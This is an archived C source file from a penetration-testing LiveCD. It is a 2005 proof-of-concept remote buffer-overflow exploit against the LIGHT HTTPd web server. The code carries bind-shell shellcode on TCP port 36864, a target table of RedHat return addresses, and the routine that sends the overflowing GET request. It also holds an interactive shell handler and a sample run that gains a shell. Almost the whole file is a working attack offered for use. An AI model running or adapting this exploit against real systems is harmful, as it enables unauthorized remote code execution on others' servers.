home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / lhttpd / lhttpdxpl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  328 lines

  1. /*
  2. **
  3. ** Proof of Concept LIGHT HTTPd Remote exploit
  4. **                                by Xpl017Elz
  5. ** __
  6. ** Testing exploit:
  7. **
  8. ** bash$ ./0x82-Remote.lhttpdxpl -h 61.37.xx.xx -t 3
  9. **
  10. **  Proof of Concept LIGHT HTTPd Remote exploit
  11. **                                 by Xpl017Elz
  12. **
  13. **  Try `./0x82-Remote.lhttpdxpl -?' for more information.
  14. **
  15. **  [1] Make shellcode.
  16. **  [2] Send exploit (bindshell) code.
  17. **  [3] Waiting, executes the shell !
  18. **  [4] Trying 61.37.xx.xx:36864 ...
  19. **  [5] Connected to 61.37.xx.xx:36864 !
  20. **
  21. **  [*] It's shell ! :-)
  22. **
  23. ** Linux testsub 2.4.2-3 #1 Sun Jun 24 01:31:37 KST 2001 i686 unknown
  24. ** uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),
  25. ** 4(adm),6(disk),10(wheel)
  26. ** exit
  27. ** bash$
  28. **
  29. ** --
  30. ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
  31. ** My World: http://x82.i21c.net
  32. **
  33. ** Special Greets: INetCop team.
  34. **
  35. */
  36.  
  37. #include <stdio.h>
  38. #include <unistd.h>
  39. #include <getopt.h>
  40. #include <netdb.h>
  41. #include <netinet/in.h>
  42.  
  43. #define HOST "localhost"
  44. #define PORT 3000
  45.  
  46. struct os
  47. {
  48.     int num;
  49.     char *os;
  50.     int offset;
  51.     unsigned long shaddr;
  52.     int atlen;
  53. };
  54.  
  55. struct os plat[] =
  56. {
  57.     /* olny test */
  58.     {0,"RedHat Linux 6.x localhost lhttpd",1,0xbfffb744,160},
  59.     {1,"RedHat Linux 6.x remote lhttpd",0,0xbfffb608,150},
  60.     {2,"RedHat Linux 7.x localhost lhttpd",3,0xbfffb650,150},
  61.     {3,"RedHat Linux 7.x remote lhttpd",2,0xbfffb650,160},
  62.     {4,NULL,0,0}
  63. };
  64.  
  65. int setsock(char *hostname,int port);
  66. void getshell(int sock);
  67. void usage(char *args);
  68. void banrl(char *args);
  69. int main(int argc,char *argv[])
  70. {
  71.     int sockfd1;
  72.     int sockfd2;
  73.     int ax82,bx82,cx82,dx82;
  74.     int type=0;
  75.     int port=PORT;
  76.     int atlen=plat[type].atlen;
  77.     int off=plat[type].offset;
  78.     char offbuf[10];
  79.     char hostname[0x82]=HOST;
  80.  
  81.     char ptbind[] = /* BIND SHELL ON PORT TCP/36864 */
  82.         //------------------- main: -------------------//
  83.         "\xeb\x72"                        /* jmp callz */
  84.         //------------------- start: ------------------//
  85.         "\x5e"                            /* popl %esi */
  86.         //------------------ socket() -----------------//
  87.         "\x29\xc0"                  /* subl %eax, %eax */
  88.         "\x89\x46\x10"        /* movl %eax, 0x10(%esi) */
  89.         "\x40"                            /* incl %eax */
  90.         "\x89\xc3"                  /* movl %eax, %ebx */
  91.         "\x89\x46\x0c"        /* movl %eax, 0x0c(%esi) */
  92.         "\x40"                            /* incl %eax */
  93.         "\x89\x46\x08"        /* movl %eax, 0x08(%esi) */
  94.         "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
  95.         "\xb0\x66"                  /* movb $0x66, %al */
  96.         "\xcd\x80"                        /* int $0x80 */
  97.         //------------------- bind() ------------------//
  98.         "\x43"                            /* incl %ebx */
  99.         "\xc6\x46\x10\x10"   /* movb $0x10, 0x10(%esi) */
  100.         "\x66\x89\x5e\x14"     /* movw %bx, 0x14(%esi) */
  101.         "\x88\x46\x08"         /* movb %al, 0x08(%esi) */
  102.         "\x29\xc0"                  /* subl %eax, %eax */
  103.         "\x89\xc2"                  /* movl %eax, %edx */
  104.         "\x89\x46\x18"        /* movl %eax, 0x18(%esi) */
  105.         "\xb0\x90"                  /* movb $0x90, %al */
  106.         "\x66\x89\x46\x16"     /* movw %ax, 0x16(%esi) */
  107.         "\x8d\x4e\x14"        /* leal 0x14(%esi), %ecx */
  108.         "\x89\x4e\x0c"        /* movl %ecx, 0x0c(%esi) */
  109.         "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
  110.         "\xb0\x66"                  /* movb $0x66, %al */
  111.         "\xcd\x80"                        /* int $0x80 */
  112.         //------------------ listen() -----------------//
  113.         "\x89\x5e\x0c"        /* movl %ebx, 0x0c(%esi) */
  114.         "\x43"                            /* incl %ebx */
  115.         "\x43"                            /* incl %ebx */
  116.         "\xb0\x66"                  /* movb $0x66, %al */
  117.         "\xcd\x80"                        /* int $0x80 */
  118.         //------------------ accept() -----------------//
  119.         "\x89\x56\x0c"        /* movl %edx, 0x0c(%esi) */
  120.         "\x89\x56\x10"        /* movl %edx, 0x10(%esi) */
  121.         "\xb0\x66"                  /* movb $0x66, %al */
  122.         "\x43"                            /* incl %ebx */
  123.         "\xcd\x80"                        /* int $0x80 */
  124.         //---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
  125.         "\x86\xc3"                   /* xchgb %al, %bl */
  126.         "\xb0\x3f"                  /* movb $0x3f, %al */
  127.         "\x29\xc9"                  /* subl %ecx, %ecx */
  128.         "\xcd\x80"                        /* int $0x80 */
  129.         "\xb0\x3f"                  /* movb $0x3f, %al */
  130.         "\x41"                            /* incl %ecx */
  131.         "\xcd\x80"                        /* int $0x80 */
  132.         "\xb0\x3f"                  /* movb $0x3f, %al */
  133.         "\x41"                            /* incl %ecx */
  134.         "\xcd\x80"                        /* int $0x80 */
  135.         //------------------ execve() -----------------//
  136.         "\x88\x56\x07"         /* movb %dl, 0x07(%esi) */
  137.         "\x89\x76\x0c"        /* movl %esi, 0x0c(%esi) */
  138.         "\x87\xf3"                 /* xchgl %esi, %ebx */
  139.         "\x8d\x4b\x0c"        /* leal 0x0c(%ebx), %ecx */
  140.         "\xb0\x0b"                  /* movb $0x0b, %al */
  141.         "\xcd\x80"                        /* int $0x80 */
  142.         //------------------- callz: ------------------//
  143.         "\xe8\x89\xff\xff\xff"           /* call start */
  144.         "/bin/sh"; /* 128byte */
  145.  
  146.     char atbuf[512];
  147.     char sendnrecv[1024];
  148.     unsigned long shcode=plat[type].shaddr;
  149.     ax82=bx82=cx82=dx82=0;
  150.  
  151.     memset(offbuf,0x00,10);
  152.     memset(atbuf,0x00,512);
  153.     memset(sendnrecv,0x00,1024);
  154.  
  155.     (void)banrl(argv[0]);
  156.  
  157.     while((dx82=getopt(argc,argv,"S:s:O:o:H:h:P:p:T:t:"))!=EOF)
  158.     {
  159.         switch(dx82)
  160.         {
  161.             case 'S':
  162.             case 's':
  163.                 shcode=strtoul(optarg,NULL,0);
  164.                 break;
  165.  
  166.             case 'O':
  167.             case 'o':
  168.                 off=atoi(optarg);
  169.                 break;
  170.  
  171.             case 'H':
  172.             case 'h':
  173.                 strncpy(hostname,optarg,0x82);
  174.                 break;
  175.  
  176.             case 'P':
  177.             case 'p':
  178.                 port=atoi(optarg);
  179.                 break;
  180.  
  181.             case 'T':
  182.             case 't':
  183.                 type=atoi(optarg);
  184.  
  185.                 if(type<0 || type>3)
  186.                     usage(argv[0]);
  187.  
  188.                 off=plat[type].offset;
  189.                 shcode=plat[type].shaddr;
  190.                 atlen=plat[type].atlen;
  191.                 break;
  192.  
  193.             case '?':
  194.                 usage(argv[0]);
  195.                 break;
  196.         }
  197.     }
  198.  
  199.     while(off)
  200.     {
  201.         off--;
  202.         offbuf[off]='^';
  203.     }
  204.  
  205.     fprintf(stdout," [1] Make shellcode.\n");
  206.     for(ax82=0;ax82<atlen-strlen(ptbind);ax82++)
  207.         atbuf[ax82] = 0x90;
  208.  
  209.     for(bx82=0;bx82<strlen(ptbind);bx82++)
  210.         atbuf[ax82++]=ptbind[bx82];
  211.  
  212.     for(cx82=ax82;cx82<ax82+0x32;cx82+=4)
  213.         *(long *)&atbuf[cx82]=shcode;
  214.  
  215.     snprintf(sendnrecv,1024,"GET /%s%s HTTP/1.0\r\n\n",offbuf,atbuf);
  216.  
  217.     fprintf(stdout," [2] Send exploit (bindshell) code.\n");
  218.     sockfd1=setsock(hostname,port);
  219.     send(sockfd1,sendnrecv,strlen(sendnrecv),0);
  220.  
  221.     fprintf(stdout," [3] Waiting, executes the shell !\n");
  222.     sleep(3);
  223.  
  224.     fprintf(stdout," [4] Trying %s:36864 ...\n",hostname);
  225.     sockfd2=setsock(hostname,36864);
  226.     fprintf(stdout," [5] Connected to %s:36864 !\n\n",hostname);
  227.     getshell(sockfd2);
  228. }
  229.  
  230. int setsock(char *hostname,int port)
  231. {
  232.     int sock;
  233.     struct hostent *sxp;
  234.     struct sockaddr_in sxp_addr;
  235.  
  236.     if((sxp=gethostbyname(hostname))==NULL)
  237.     {
  238.         herror("gethostbyname() error");
  239.         exit(-1);
  240.     }
  241.     if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
  242.     {
  243.         perror("socket() error");
  244.         exit(-1);
  245.     }
  246.  
  247.     sxp_addr.sin_family=AF_INET;
  248.     sxp_addr.sin_port=htons(port);
  249.     sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
  250.     bzero(&(sxp_addr.sin_zero),8);
  251.  
  252.     if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)
  253.     {
  254.         perror("connect() error");
  255.         exit(-1);
  256.     }
  257.  
  258.     return(sock);
  259. }
  260.  
  261. void getshell(int sock)
  262. {
  263.     int died;
  264.     char *command="uname -a;id\n";
  265.     char readbuf[1024];
  266.     fd_set rset;
  267.  
  268.     memset(readbuf,0x00,1024);
  269.  
  270.     fprintf(stdout," [*] It's shell ! :-)\n\n");
  271.     send(sock,command,strlen(command),0);
  272.  
  273.     for(;;)
  274.     {
  275.         FD_ZERO(&rset);
  276.         FD_SET(sock,&rset);
  277.         FD_SET(STDIN_FILENO,&rset);
  278.         select(sock+1,&rset,NULL,NULL,NULL);
  279.  
  280.         if(FD_ISSET(sock,&rset))
  281.         {
  282.             died=read(sock,readbuf,1024);
  283.             if(died<=0)
  284.             {
  285.                 exit(0);
  286.             }
  287.             readbuf[died]=0;
  288.             printf("%s",readbuf);
  289.         }
  290.         if(FD_ISSET(STDIN_FILENO,&rset))
  291.         {
  292.             died=read(STDIN_FILENO,readbuf,1024);
  293.             if(died>0)
  294.             {
  295.                 readbuf[died]=0;
  296.                 write(sock,readbuf,died);
  297.             }
  298.         }
  299.     }
  300.     return;
  301. }
  302.  
  303. void usage(char *args)
  304. {
  305.     int x82;
  306.     fprintf(stderr,"\n Default Usage: %s -[option] [arguments]\n\n",args);
  307.     fprintf(stderr,"\t -h [hostname] - target host\n");
  308.     fprintf(stderr,"\t -p [port]     - port number\n");
  309.     fprintf(stderr,"\t -s [addr]     - &shellcode addr\n");
  310.     fprintf(stderr,"\t -o [offset]   - offset\n");
  311.     fprintf(stderr,"\t -t [type]     - type number\n\n");
  312.     fprintf(stderr," Example: %s -h localhost -p 3000 -t 1\n\n",args);
  313.     fprintf(stdout,"\t * Select target type: \n\n");
  314.     for(x82=0;plat[x82].num<4;x82++)
  315.         fprintf(stdout,"\t %d. %s\n",plat[x82].num,plat[x82].os);
  316.     fprintf(stdout,"\n Happy Exploit !\n\n");
  317.     exit(0);
  318. }
  319.  
  320. void banrl(char *args)
  321. {
  322.     fprintf(stdout,"\n Proof of Concept LIGHT HTTPd Remote exploit");
  323.     fprintf(stdout,"\n                                by Xpl017Elz\n\n");
  324.     fprintf(stdout," Try `%s -?' for more information.\n\n",args);
  325. }
  326.  
  327.  
  328.